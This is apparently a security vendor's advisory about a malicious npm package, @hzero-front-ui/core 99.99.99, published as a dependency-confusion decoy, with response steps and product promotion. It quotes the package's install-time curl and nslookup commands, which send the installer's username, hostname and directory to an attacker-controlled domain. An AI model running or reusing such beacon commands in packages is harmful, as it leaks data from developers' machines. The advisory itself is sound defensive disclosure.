@hzero-front-ui/corenpm
@hzero-front-ui/core is a confirmed malicious npm package (MAL-2026-13969) that opens a backdoor for remote access (malicious version 99.99.99). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @hzero-front-ui/core (npm)
What this malware does
Package @hzero-front-ui/[email protected] is a hollow shell (index.js is only module.exports = {};) whose sole functional content is preinstall/install lifecycle scripts. On npm install, those scripts collect the installer's username (whoami), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The 99.99.99 version and hollow contents under an org-shaped @hzero-front-ui scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @hzero-front-ui/core (version 99.99.99). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @hzero-front-ui/core across your stack and pipelines.
If you installed it — respond
@hzero-front-ui/core establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @hzero-front-ui/core was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @hzero-front-ui/core before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @hzero-front-ui/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.